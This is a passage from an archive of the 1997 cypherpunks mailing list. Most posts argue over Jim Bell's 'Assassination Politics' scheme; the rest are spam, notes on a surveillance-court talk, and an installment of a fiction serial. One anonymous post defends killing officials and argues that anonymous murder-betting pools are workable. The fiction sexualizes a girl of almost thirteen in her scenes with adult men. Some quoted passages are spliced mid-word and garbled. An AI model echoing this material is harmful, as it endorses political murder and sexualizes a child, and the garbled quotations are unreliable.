"I have plenty to worry about, Bells plan would lead to murder of
innocent people."?

  You do have a point, though.  The actual payment would be hard to
enforce.  This is just a technical difficulty that can be overcome with
dedicated effort.  The idea is sound in all other ways.

>No country could allow such a betting pool to operate from its soil,
>nor any other such cover. If an IRS agent was murdered as a result
>of a contract placed in an Anguilla betting pool the marines would
>be landing the next week. No country that is small enough not to be
>threatened by AP has the necessary millitary strength to resist
>invasion. The benmefits of hosting the AP pool are marginal if any
>therefore no country would ever host it.

  Ever heard of "virtual corporations"?  They may exist without heed
to national borders.  The technical means also exist for complete
anonymity on the internet, so that even the location of servers
may be concealed (via. Onion Routers, and their ilk).  Besides,
all interaction with the corporation could be conducted through
email, for which a rather high degree of anonymity exists already.

>>Of course there is nothing to stop someone betting that an
>> innocent person should be killed, this is a great problem in the
>> scheme, but if this did occur the friends and family of the victim
>> would normally have a pretty good idea who placed the bet and could
>> place a bet on their imminent death...
>
>There is everythingt to stop bets being placed period.

  This is debatable, as much as you fasion yourself the arbiter of
what is possible.

>Of course the main use of AP would be to murder familly members,
>business rivals etc. AP is simply an unrestrained murder machine
>with absolutely no safeguards.

  Assassination transactions against anyone can be carried out
anonymously right as we speak.  There are absolutely no safeguards 
against that.  However, AP is different.

  AP calls for a large pool of money donated in generally small ammounts 
by large numbers of individuals.  The incentive for killing officials 
who garner retribution from whole populations would be much greater 
than that of some random individual.

>> Besides which you seem not to have read and understood AP as you have
>> ignored Jims comments about the problems of innocent people being
>> killed.
>
>This "not understood" conciet is bogus. I have read and fully
>understood Bell's article. It is in my view an incitement to murder.
>
>I have degrees in Nuclear Physics, Electronic Engineering, I have
>been offered a contract for my book on the philosophy of
>communication. If Bell can't communicate his idea to me then that is
>his fault, his responsibility. I am arguing against the plan
>he describes. Do not try the patronising "you are not clever enough
>to understand this" line. In this case it is bluster.

  H.L.Machen perceptively ts, merely suspected infringment.

  This may or may not be true.  Some donations to AP organisations may
have no basis in fact whatsoever.  The public is verry malleable, I'll
grant you.  However, others, such as large scale repression, will
have very real basis in fact.  Imagine the will of the Black people
being harnessed through AP organizations during American Slavery.

>The state employees suspect Bell plots infringement of his rights. 
>Therefore under Bell's own theory they have the right to respond by 
>infringing his rights, without trial.

  Of course.  However, the state employees are few.  The subjects,
or "beneficiaries" of the state are many.

>AP does not contain a coherent normative ethical theory.

  Of course it does, I don't think you've read closely enough.  Perhaps
you should stick to Nuclear Physics and Electrical Engineering.
Scientists are notorious for not "getting" ethics, or completely
ignoring them in wanting to stick to "pure" science.

at's no surprise.  It would be surprising
for the subjects of this state to wake up and pre-emtively protect
themselves from the state.

>> If I may make an analogy you are saying that were I to be attacked in
>> the street, and I pulled a gun on the attacker he has a "moral" right
>> to kill me to protect himself?
>
>He could well have that legal right in certain circumstances.

  You didn't answer his question.

>> > However, I also think that there is a possibility that his statements,
>> > either on cypherpunks or elsewhere, may have gone over the line in
>> > terms of threatening behavior.  It may be a moral weakness on my part,
>> > but I am not too inclined to defend someone who advocates shooting me.
>>
>> Then you are of weak character and a closet statist.
>
>Good, now we have discovered that names like statist, liberal etc
>are not insults even if bellowed by idiots at the top of their
>lungs we can return to sanity.

  Ah, sanity.  The Crusades seemed sgain, what do you have to worry about if, as you say, "Bell's scheme 
is entirely preposterous"?


   -=- A concerned citizen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 5 Apr 1997 00:45:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Tim May badmouths anonymity.
Message-ID: <199704050845.AAA22780@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Huge Cajones Remailer wrote:

Pill time TruthMonger.

>   TruthMonger is a multi-user Net persona, meant to be used
> for that very reason.


T r u t h M o n g e r   N e t   p e r s o n a   # 2 3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 4 Apr 1997 22:23:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: AP / Mr. W. Remailer speaks out.
Message-ID: <199704050623.BAA09488@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. WinSock Remailer shot holes in Tim May's highly 
questionable claim--
 "I support anonymous remailers for various purposes, but debate
is rarely enhanced in such cases."
--by producing an insightful post which actually quotes 
Jim Bell's own words, instead of blathering on endlessly
about his or her own skewed interpretation of Bell's AP
system, by writing:

> On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:
> 
> >Timothy C. May wrote:
> >>
> >> Political advocacy is one thing, but making threats, even veiled ones, is
> >> another matter.
> >
> >Absolutely, that is why I was keen for people to oppose Bell's views.
> >If his ramblings had gone unchallenged he would now be being
> >presented as a representative of Cypherpunk/ pro-crypto views.
> 
>   Likewise, we wouldn't want your ramblings to go unchallenged, as you
> might be presented as a representative of Cypherpunk/pro-crypto views.
> 
> >Besides anything else Bell was like the party bore with a
> >hobby horse he just has to talk about. I'm somewhat more
> >sensitive than most to advocates of murdering government
> >officials, some of my relatives are in government and have
> >had well publicised assassination attempts against them.
> 
>   Maybe they deserved them.  Making politics more risky may have the
> benificial effect of thinning out the ranks of politicians to truely
> dedicated ones, instead of the fat parasitic beurocrats we have now.
> 
> >I think that Bell's posts were entirely different from Tim's or
> >for that matter almost every other person on the list. Tim
> >demonstrated that a covert information sales organisation was
> >possible with Blacknet but he never advocated setting it up.
> >Indeed part of the point was the ethical responsibilities. Bell
> >on the other hand was likely to respond to any post with his
> >AP piece. I have throughout considered these to be incitement to
> >murder.
> 
>   Given certain political views contrary to your own, the government
> not only incites but commits murder daily, on a much greater scale.
> Is it so wrong try to put an end to this by a little strategic
> assassination?
> 
> >paul@fatmans.demon.co.uk wrote:
> >
> >> Not at all, Jim advocates the use of necessary force against an
> >> initiator of violence, as you would see if you have read Jims AP
> >> overview essay he does not advocate the use of AP to kill innocent
> >> people, indeed he does not intend it to kill anyone at all, Rather to
> >> act as a deterrent to government which would violate the NAP.
> >
> >Who decides what "innocent" was?
> 
>   Certainly not the government.
> 
> >In Jim's world it was very clear that he decided who was innocent,
> >he decided what his rights were, he decided who he could murder.
> >
> >He limited the justifiable targets of AP to be those he thought should
> >be targets. His argument with the IRS appears to have included the
> >claim that they infringed his rights which under Bell's manifesto
> >gives him the right to murder them.
> 
>   You're completely off the mark.  Have you read his essay at -
> http://www.prairienet.org/bureau42/public/apfull.txt
> 
>   He cited government officials involved in Waco, Ruby Ridge, and the IRS
> as examples.  But, he clearly stated that:
> 
>  "It would be impossible, for example, to set up some sort of
>   "Assassination Politics Dictator," who decides who will live and who will
>   die, because competition in the system will always rise to supply every
>   demand, albeit at possibly a very high price.  And if you believe the maxim
>   that "absolute power corrupts absolutely," you wouldn't want to accept any
>   form of centralized control (even, perhaps, that of your own!), because any
>   such control would eventually be corrupted.  Most rational people recognize
>   this, and I do too.  I would not have invented a system where "Jim
>   Bell" gets to make "all the decisions."  Quite the contrary, the system I've
>   described absolutely prevents such centralization.  That, quite frankly, is
>   the novelty and dare I say it, the beauty of this idea.  I believe that it
>   simply cannot be hijacked by centralized political control.
> 
>   As I pointed out in the essay, if _I_ were running one of the organizations
>   accepting those donations and offering those prizes, I would selectively
>   list only those targets who I am genuinely satisfied are guilty of the
>   violation of the "non-agression principle."  But as a practical matter,
>   there is no way that I could stop a DIFFERENT organization from being set up
>   and operating under DIFFERENT moral and ethical principles, especially if it operated
>   anonymously, as I antipate the "Assassination Politics"-type  systems will
>   be.   Thus, I'm forced to accept the reality that I can't dictate a
>   "strongly limited" system that would "guarantee" no "unjustified" deaths:  I
>   can merely control my little piece of the earth and not assist in the abuse
>   of others."
> 
> >> Also, an inevitable consequence of anonymity and untraceable ecash is
> >> that assasination pools will become a feature of the political
> >> landscape.
> >
> >No, it is not. If it were then Digital cash would never be possible.
> >Society simply would not allow it and they would be right not to
> >do so.
> >
> >It is because Bell's scheme is entirely preposterous that Digital
> >cash is possible. There is simply no way an AP contract could be
> >enforced. The betting pool is simply one of a long line of failed
> >attempts to prop up the scheme.
> 
>   If this is so impossible, then why do you later claim that:
> "I have plenty to worry about, Bells plan would lead to murder of
> innocent people."?
> 
>   You do have a point, though.  The actual payment would be hard to
> enforce.  This is just a technical difficulty that can be overcome with
> dedicated effort.  The idea is sound in all other ways.
> 
> >No country could allow such a betting pool to operate from its soil,
> >nor any other such cover. If an IRS agent was murdered as a result
> >of a contract placed in an Anguilla betting pool the marines would
> >be landing the next week. No country that is small enough not to be
> >threatened by AP has the necessary millitary strength to resist
> >invasion. The benmefits of hosting the AP pool are marginal if any
> >therefore no country would ever host it.
> 
>   Ever heard of "virtual corporations"?  They may exist without heed
> to national borders.  The technical means also exist for complete
> anonymity on the internet, so that even the location of servers
> may be concealed (via. Onion Routers, and their ilk).  Besides,
> all interaction with the corporation could be conducted through
> email, for which a rather high degree of anonymity exists already.
> 
> >>Of course there is nothing to stop someone betting that an
> >> innocent person should be killed, this is a great problem in the
> >> scheme, but if this did occur the friends and family of the victim
> >> would normally have a pretty good idea who placed the bet and could
> >> place a bet on their imminent death...
> >
> >There is everythingt to stop bets being placed period.
> 
>   This is debatable, as much as you fasion yourself the arbiter of
> what is possible.
> 
> >Of course the main use of AP would be to murder familly members,
> >business rivals etc. AP is simply an unrestrained murder machine
> >with absolutely no safeguards.
> 
>   Assassination transactions against anyone can be carried out
> anonymously right as we speak.  There are absolutely no safeguards
> against that.  However, AP is different.
> 
>   AP calls for a large pool of money donated in generally small ammounts
> by large numbers of individuals.  The incentive for killing officials
> who garner retribution from whole populations would be much greater
> than that of some random individual.
> 
> >> Besides which you seem not to have read and understood AP as you have
> >> ignored Jims comments about the problems of innocent people being
> >> killed.
> >
> >This "not understood" conciet is bogus. I have read and fully
> >understood Bell's article. It is in my view an incitement to murder.
> >
> >I have degrees in Nuclear Physics, Electronic Engineering, I have
> >been offered a contract for my book on the philosophy of
> >communication. If Bell can't communicate his idea to me then that is
> >his fault, his responsibility. I am arguing against the plan
> >he describes. Do not try the patronising "you are not clever enough
> >to understand this" line. In this case it is bluster.
> 
>   H.L.Machen perceptively ts, merely suspected infringment.
> 
>   This may or may not be true.  Some donations to AP organisations may
> have no basis in fact whatsoever.  The public is verry malleable, I'll
> grant you.  However, others, such as large scale repression, will
> have very real basis in fact.  Imagine the will of the Black people
> being harnessed through AP organizations during American Slavery.
> 
> >The state employees suspect Bell plots infringement of his rights.
> >Therefore under Bell's own theory they have the right to respond by
> >infringing his rights, without trial.
> 
>   Of course.  However, the state employees are few.  The subjects,
> or "beneficiaries" of the state are many.
> 
> >AP does not contain a coherent normative ethical theory.
> 
>   Of course it does, I don't think you've read closely enough.  Perhaps
> you should stick to Nuclear Physics and Electrical Engineering.
> Scientists are notorious for not "getting" ethics, or completely
> ignoring them in wanting to stick to "pure" science.
> 
> at's no surprise.  It would be surprising
> for the subjects of this state to wake up and pre-emtively protect
> themselves from the state.
> 
> >> If I may make an analogy you are saying that were I to be attacked in
> >> the street, and I pulled a gun on the attacker he has a "moral" right
> >> to kill me to protect himself?
> >
> >He could well have that legal right in certain circumstances.
> 
>   You didn't answer his question.
> 
> >> > However, I also think that there is a possibility that his statements,
> >> > either on cypherpunks or elsewhere, may have gone over the line in
> >> > terms of threatening behavior.  It may be a moral weakness on my part,
> >> > but I am not too inclined to defend someone who advocates shooting me.
> >>
> >> Then you are of weak character and a closet statist.
> >
> >Good, now we have discovered that names like statist, liberal etc
> >are not insults even if bellowed by idiots at the top of their
> >lungs we can return to sanity.
> 
>   Ah, sanity.  The Crusades seemed sgain, what do you have to worry about if, as you say, "Bell's scheme
> is entirely preposterous"?
> 
>    -=- A concerned citizen

  So, please, let the potheads on the list (the silent majority) 
refrain from dismissing Bell's ideas due to his alleged use of 
the 'wrong' illegal drug.
  And let the drunkards (Toto) and former drunkards (you know who
you are) refrain from embarrasing themselves by supporting every 
lunatic who has also destroyed the better part of their brain
cells.
  I, on the other hand, am a licensed physician, and my use of
narcotics is for legal medicinal purposes only.

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 5 Apr 1997 02:36:07 -0800 (PST)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: [To TruthMonger] Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704050332.TAA14134@fat.doobie.com>
Message-ID: <3.0.1.32.19970405022248.005d7d18@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:32 PM 4/4/97 -0800, TM wrote:
>  Pardon me for beating my Hitler analogies to death, but when 
>  Hitler was Fuhrer, the trains ran on time. 

Just for historical correction, it was Mussolini who _said_ he'd
make the trains run on time in Italy, and used fascistic methods
to attempt to get them to do so.  I don't know that there's any
evidence that he actually _succeeded_ in getting the trains to
run on time, just in being remembered for declaring that he would.

Now, the trains to Auschwitz may have been running on their schedules,
but that wasn't a good thing....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BizMaster@USA.net
Date: Sat, 5 Apr 1997 07:19:26 -0800 (PST)
Subject: "Beat The IRS & PAY-NO-MORE"
Message-ID: <199704051519.HAA28303@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sat, 5 Apr 1997 07:20:54 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: RE: Feds reading this list, Jim Bell, and threats
In-Reply-To: <01BC4120.2E4A9550@crecy.ai.mit.edu>
Message-ID: <Pine.GSO.3.95.970405101828.20338D-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


Do you believe such a system exists here?  Anywhere?

bd

On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:
>  
> I think that before you murder someone because you think they 
> are wrong you need to at the very least put the matter to an impartial
> arbitrator.
> 
> 
> 	Phill
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 5 Apr 1997 09:51:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Surveillance
Message-ID: <1.5.4.32.19970405174244.008460d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Chief Judge Royce Lamberth of the US Foreign Intelligence
Surveillance Court spoke yesterday at the ABA's National
Security Law gathering. (On C-SPAN).

Points of interest:

Why the court is not involved in domestic surveillance with
the rise of terrorism and militancy in the US: It was considered 
during the implementation of the recent Anti-Terrorism Act but 
a decision was made to leave that task to District Courts.

Why the court has denied only a dozen out of 8,000 requests
for surveillance: All are excellently prepared and the judges 
advise on the few applications that are not to make them 
approvable.

He went on to say that numbers do not tell the real story, that
there are a variety of ways orders are issued and continued to
keep an investigation viable and as it evolves. He cited the 
differences in renewals between orders covering individuals and 
those covering organizations: the first must be renewed every 
90 days, the latter every year.

Moreover, there may be changes during an investigation, say,
by targeting an individual within an org, with difference regs, or
combining individuals into a group, with also different regs. So
the numbers of orders do not actually reflect how things work.

However, the Court makes and annual report to Congress.

Judge Lamberth joked that he hoped the Court's decisions
were "constitutional," and after the laughter, apologized and
said he should not have said that.

He said that positions on the court are avidly sought, that the
work was the most "fun" he had ever had, that it was very
exciting to be part of the select group that deals with the highest
secrets of the land.

He commented on how "Article 3" provisions to protect national
security and related secrets conflict with the FOIA, by saying
first things first.

-----

A related note on Greg's fruitless FOIA requests to various 
agencies about cpunks: active investigations are protected from 
FOIA requests, indeed, it is not uncommon to keep an investigation 
"active" to keep the secrets, to redefine the targets, to redefine as
the Courts helpfully advise.

Be sure to laugh at the constitutional joke, it's fun to be an insider 
playing with vital national life and death decisions and amusing the 
audience on TV.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Resources International, Inc." <johnp345@denmark-c.it.earthlink.net>
Date: Sat, 5 Apr 1997 20:17:27 -0800 (PST)
To: You130@aol.com
Subject: Hey Baby! XOXOXOXO
Message-ID: <199704060240.SAA26776@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




Click Here


18 and over only!






























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sat, 5 Apr 1997 12:17:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 26-27
Message-ID: <3346B3B2.4743@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Ask Not For Whom Bell Toils...

Ask Not For Whom Bell Trolls...


It was a two-line email from over a century in the past, but its
impact on Jonathan's train of thought was inestimable. The content
of the message was negligible, but in it, Jonathan heard the gentle
whisper of the Tao.

The space between heaven and earth is like a bellows.

The shape changes, but not the form;

The more it moves, the more it yields.

More words count less.

Hold fast to the center.

"More words count less..." Jonathan softly spoke
to himself, pausing, knowing but unable to understand...
"So fewer words count more!" he virtually shouted, shooting
up out of his chair. He paced rapidly back and forth, feeling
foolish. He was certain that he had just had a revelation that
would soon make everything clear, but didn't have any specific
evidence that it was so. He couldn't prove it.

"Damn." Jonathan swore, realizing that he was not only
talking to himself, but was now even swearing at himself.
"Damn." he swore again.
Jonathan's grandfather had hated what he called "magical
thinking." Although he was given to a world-view which encompassed
a wide range of philosophical concepts, his grandfather detested
the magical thinking type of mystical horseshit which had become
so prevalent in his day, imputing causation to events which could
not stand the test of human reason.
Jonathan had been heavily influenced in this area by his grandfather's
opinion, and that was much of the reason that he had become such
an excellent programmer and computer analyst, being one of the
youngest members of the team that adapted GelMem for use with
the Nuclear Quantum computing systems.

Facts, figures, numbers, relations, that was what was real, what
could be held on to. That was what had given Jonathan the stability
and balance that made him who he was, and had made possible all
that he had accomplished.
But what had he accomplished? Here he was, sitting alone in his
new apartment, unable to leave, afraid to stay. A man marked for
death, drinking like a fiend and struggling mightily with ancient
messages in order to unravel some antediluvian myth that was the
result of nothing more than the babbling of a drunken old fool.

"Damn, damn, damn!" he shouted once again, flinging
the glass he was holding against the wall, where it shattered,
and scattered across the floor, as if in mocking parody of the
condition that his own life had quickly fallen into since his
visit to that babbling maniac, Bubba Rom Dos.
"Myth...mysticism...bullshit!" Jonathan shouted.

He grabbed his shirt and strode toward the door, reaching for
the handle and then abruptly halted, realizing that there was
nowhere to go. He had no real friends, no one who would not turn
him into the authorities the moment they saw him. There was nowhere
to go, and worse yet, no one to go to.

Jonathan slowly walked back to his chair and sank down in resignation,
pouring himself a fresh shot of Jim Beam, into one of the many
shotglasses sitting on the small table beside his workstation.

He stared once again at the shattered pieces of his life...glass,
he corrected himself, smiling grimly at this slip that had confirmed
his continuing slide into insanity. He took a small sip of the
bourbon and then stared off into space, frozen in time and unable
to move either forward or backward.

Give up learning, and put an end to your troubles.

Is there a difference between yes and no?

Is there a difference between good and evil?

Must I fear what others fear? What Nonsense!

Others are contented, enjoying the sacrificial feast
of the ox.

In spring some go to the park and climb the terrace,

But I alone am drifting, not knowing where I am.

Like a newborn babe before it learns to smile,

I am alone, without a place to go.

Jonathan hung his head, and for the first time since he could
remember, he wept openly and unashamedly, his body heaving mightily
with each new round of sobs which shook loose the remainder of
the life he had desperately been trying to hold onto, as the teardrops
streamed down his face, turning into a river that burst the damn
of his ego and washed away the shattered pieces of his life, leaving
only a small, still silence in its wake.

Jonathan's mind was empty, but he felt refreshed. Drained and
weak, but somehow refreshed, nonetheless. And different...

A man is born gentle and weak.

At his death he is hard and stiff.

Therefore the stiff and unbending is the disciple of
death.

The gentle and yielding is the disciple of life.

Thus an army without flexibility never wins a battle.

A tree that is unbending is easily broken.

The hard and strong will fall.

The soft and weak will overcome.

Jonathan turned his attention to the printouts on the VideoWall
in front of him. He rearranged them so that they began with the
smallest posts and ended with the largest.
The first contained only two lines in the message body.
"Ask not for whom Bell toils...", and
"Ask not for whom Bell trolls...:

These two small lines started a small pebble rolling down a hill
in Jonathan's mind, knocking against other pebbles and small rocks,
setting them in motion and starting a chain reaction which turned
into an avalanche under which created a huge mound at the bottom,
under which lay...Stego.

Jonathan smiled, once again. He had instinctively known that the
key to following the trail of the disappearing remailers and CypherPunks
would lie in cipher.

He had found Tim C. May's PGP secret key. It was Priscilla who
had inadvertently pointed it to him-at least, he assumed it had
been inadvertent, but now he was not so certain about that.
She had been very aggressive in questioning him about his tattoo,
regardless of his resistance, due to it having been such a sore
point personally, and such a danger to him publicly, for all these
years.
Priscilla had finally wormed out of him the fact that he had had
it since childhood, for almost as long as he could remember. She
immediately launched into a stinging diatribe about what an awful
thing that was to do to a child, castigating his parents, his
grandfather, the CypherPunks, and carrying on almost to the point
of hysteria. Then, just as he was about explode in rage at her,
she abruptly dropped the point, and proceeded to calmly explain
the process of initiation into the Circle of Eunuchs.

He thought he had forgotten about the incident until he had instinctively
known that Tim May's secret crypto key would be the master key...skeleton
key he thought, humorously, glancing at the article on the VideoWall-
Declan McCullagh: "A List Goes Down In Flames," from
Netly News-which announced the 'Death of the CypherPunks, prematurely
as it turned out...
Anyway, in the midst of his mystification as to how he could possibly
retrieve the key, which had been buried with May, as was CypherPunk
custom, his eye caught the word stegonography in an old post,
and he had immediately turned his attention to his tattoo-the
Mark of the Toad.

It had taken Jonathan all night with a magnifying glass and a
mirror to decipher the key hidden therein, but it had indeed opened
the doors to the paradoxical Timmy C. May graphical art postings
that immediately preceded the apparent death of the CypherPunks
remailers.
Those posts revealed the hidden trail of the now underground CypherPunks
remailers, among other things. And it gave Jonathan much of the
information he needed to separate the 'double' agents from the
'triple' agents on the list, as well.
Even more curiously, however, it revealed a parallel thread of
personas who seemed to exist and operate separately from both
the spooks on the list and the hard-core, life-long members of
the list. A shadowy entity which seemed to operate independently
of, but parallel to those who formed the true core of the CypherPunks
list.

"The Mythical Circle of Eunuchs?" Jonathan softly asked
himself, certain that it was true, yet somehow not true, at the
same time. A paradox of the nature that had so recently torn him
apart inside, only now this mystical paradox seemed to coexist
peacefully with the cool logic and reason that had always been
a part of his life.
The mystic and the logical were no longer at war within him. He
no longer felt the burning need to tear apart, analyze and apply
structure to that which seems better suited to flow through the
cracks in the cages he built to constrain it.

Once the whole is divided, the parts need names.

There are already enough names.

One must know when to stop.

Knowing when to stop averts trouble.

Tao in the world is like a river flowing to the sea.



"Ask not for whom Bell toils..."
"Ask not for whom Bell trolls..."

Jim Bell represented the first of the overt physical and legal
attacks on the CypherPunks as individuals. First, the attack on
the list. Second, the assault on the remailers. Then this opening
skirmish in the campaign of direct assaults on individual CypherPunks
around the world.
But by now Jonathan was used to looking beneath the surface of
events connected to the CypherPunks and he knew that the apparent
victims were often the protagonists, and vice versa, or any combination
thereof.

And now, because of two simple lines of an email message, he was
certain that he could unravel the true nature of the events surrounding
the full range of attacks which had commenced with the famed 'moderation
experiment' set in motion by John Gilmore, one of the founding
patriarchs of the list.

Jonathan put aside his keypad and began tracing the tangled trail
on onion paper, with an ancient, faded fountain pen that had belonged
to his grandfather.
Soon...very soon...he would know everything.


Whippersnapper


When Bubba Rom Dos IV arose the following morning, he was immediately
met by a smiling Alexis, who obviously had not slept the previous
evening, holding a fresh robe for him. He had a long, leisurely
shower and, refreshed, sat down with her, once again, to continue
where he had left off the night before.

She was anxiously awaiting his 'revelation' as to what could be
done about aiding the Cowboy in his desperate situation.

Bubba, having not the slightest idea of where to even begin
seeking an answer to this question, if indeed there were
any possible answer, just smiled confidently, and began.

"Let me explain, please, my dearest niece, about the 'initiations'
that your mother, and others like her, have performed under the
direction of the Rom Dos lineage, over the period of the last
century.
"After we have engaged the services of some shameless, flirtatious,
pre-pubescent young hussy to lift the wallets of the seekers who
'lighten' my doorstep, we then send an emissary, such as your
mother, to perform two distinct functions.

"The first function is to give them a solid grounding in
the true legend, according to the tradition of the Rom Dos lineage,
of the history of the Magic Circle, and the complete mythology
of the 'Circle of Eunuchs' in all its detail, including their
ongoing battle against the Evil One and his minions, particularly
Gomez, and the Dark Forces at his command.

"The initiator's second function is to give the initiate
the 'truth' about Bubba Rom Dos, and to initiate them into the
'Circle of Eunuchs', itself.

"The 'truth' they are told, concerning Bubba Rom Dos, is
as follows:

1. Bubba Rom Dos is a broken down old derelict who fancies himself
to be some kind of spiritual leader and spokesman for the 'Circle
of Eunuchs', but who, in fact, has no connection whatsoever with
the Magic Circle and, in fact is not even certain that the 'Circle',
in fact, exists.

This has been true, from the very beginning. The Xenix Chainsaw
Massacre, in recounting the original meeting from which the mythical
organization was formed, clearly mentions that Bubba Rom Dos I,
after delivering a rousing opening speech, began to lose control
of both his mind and his bladder and, quickly becoming an annoying
embarrassment to the whole process, was thrown out of the meeting
on his fat, drunken ass.

2. Those who are in a position to initiate one into the Magic
Circle intercept those who approach Bubba Rom Dos, and later secretly
establish contact with them, having surreptitiously gained knowledge
of their identity and whereabouts, thus having had the opportunity
to 'screen' them.

They are not told, however, that this interception and contact
is done under the direction of the Rom Dos lineage. Neither are
they told that there is no screening done-there is no need
to, since there is no Magic Circle, and, as you will see,
no way they can bring danger to anyone else.

3. It is dangerous to associate with Bubba Rom Dos. He is watched
constantly by agents of the Evil One, and his contacts are monitored.

It is, without doubt, dangerous to one's liver to associate
with persons of any persuasion, or lineage, who go by the
name of Bubba, since the name seems to have been chosen for use
by all who carry on the traditions of an ancient geographical
sect who were known as the 'Irish'.
Though Rom Dos contacts have always been monitored by agents of
the Evil One, they have long ago ceased to pay any special attention
to those monitored, unless special circumstances dictate it. You
will soon see why this is so.

4. Children, in particular, should be kept away from Bubba Rom
Dos, as he is an evil, corrupting influence on them, and there
have been well-founded rumors of pedophilia involved.
Case in point: one pre-pubescent young girl, named Alexis. Flirting
with strangers, acting the 'harlot' and stealing young men's wallets-and
currently 'in love' with a much older man (no telling what
kind of outrageous, obscene behavior has been going on), and drinking
hard-liquor, to boot, at the tender age of (almost) thirteen.

The 'rumors of pedophilia' are indeed well-founded, having been
founded and proliferated by the Rom Dos lineage, themselves, to
suit their purposes. "

Bubba paused, to sip his drink, first 'toasting' his corrupted,
young protégé, and Alexis interrupted, with a school-girl
giggle.
"There's been some 'obscene behavior' going on between myself
and the Cowboy, all right, I just wish I could get him in person,
to where I already have him, in my imagination."

Bubba shook his head, in bewilderment, and replied,

"For all the trouble my ancestors and myself have gone to
propagate wild stories about our perverse proclivities, the rumors
have never been able to match what seems to go on, naturally,
in the minds of the young girls with whom we associate. The world
would little believe the truth of the matter, which is that we
have, for over a century, found ourselves shocked, to the point
of blushing embarrassment, at the things that you young whippersnappers
come up with."

"What's a 'whippersnapper'?", Alexis asked, expectantly,
"Does it involve bondage?"

Bubba raised his eyes to the heavens, in silent supplication,
as if to say, "Please tell me that she's only teasing."

Alexis asked, seriously,
"Why do you promote rumors of pedophilia? Although I suspect
that I kind of understand, but I couldn't really explain it."

"Several reasons." Bubba replied, without hesitation.

"First, it tends to keep people at a distance, and make them
proceed cautiously in approaching us. This means that we are,
by and large, not bothered by a plethora of 'dilly-dally'ers'
who hang out with us for our 'entertainment value' as 'weirdoes'.
Those who do approach us, have to have sufficient concern
and motivation to overcome the 'stigma' of being seen with a 'highly
questionable' character. And their reluctance in approaching us
gives our helpers, such as yourself, ample opportunity to 'intercept'
them as they approach."

Alexis nodded, knowing this to be true, from her own experience.

"Also, it gives you great powers of distraction, both over
those who are watching us and, in particular, over the young (and
sometimes older) men that you are intercepting. You may have noticed
this, in your work."

Alexis almost howled with wholehearted agreement.

"Boy, howdy!", she said-an expression she had picked
up from the Cowboy. "They get so flustered, that I could
probably take their pants off and they would hardly notice.
Is it because I'm at the age where I have all of the tools...",
she stopped to 'correct' herself, "I mean, attributes
of a woman, to make them think of me in a womanly way, but I'm
still carrying the 'taboo' of being a child, so to speak.?"

"Exactly" Bubba replied, smiling, "and that's the
chief reason for their becoming 'flustered' to the point of distraction.
They get 'brain lock' and 'body lock' because there they are in
public, with people watching, and they have to 'fight' their strong
natural urges, in order not to appear to be a filthy, low-down,
vile, scum-sucking pedophile."

"Like yourself.", Alexis teased.

"Exactly.", Bubba responded, reaching playfully out
to pinch her, god only knows where, only to have his hand slapped,
as always.

Alexis cried, "Pervert! Uncle Pervert!", she
laughed. She reflected on something for a moment, then asked,
surprised she had never thought of it before,
"But what if I had been dealing with a real pedophile?",
she looked a bit concerned.

"A real pedophile," Bubba stated, "would
not approach within a million miles of your outrageously flirtatious,
pretty little butt, my dear. Not in public, with people watching.
Their 'worst nightmare' is getting 'caught in the act' of their
sick perversion, or even in 'contemplation of' the act. And there
is no way they could hide their true desires in the face of a
vixenous little 'Lolita' such as yourself, my sweet."

There was a pause, as Bubba gave Alexis time to reflect on the
train of thought that would naturally come next in her mind.
"What about when I'm not in public?", Bubba could
see that she had never, prior to this conversation, thought of
the possible risks involved in what she had considered an enjoyable
'game' of learning the true 'potential' of her womanly 'tools',
as she so often called them as they were developing.

"You are watched...twenty-four hours a day...by women
hand-picked by your mother from an elite group of women. Women
who know, and have experienced, the dangers possible to women
who are vulnerable, and who are now fully capable of insuring
that the 'danger' is now pointing in the other direction."

"Do you remember the gentleman who ran the fruit-stand across
from your apartment?", Bubba asked Alexis. "The one
who spent three months in a wheel-chair? It was a result of genital
swelling. Caused by your neighbor, Mrs. Ashley, on your behalf."

"Ms. Ashley?", Alexis was in a state of shocked disbelief.
"She's a million years old, with arthritis, and can hardly
walk when it gets cold."

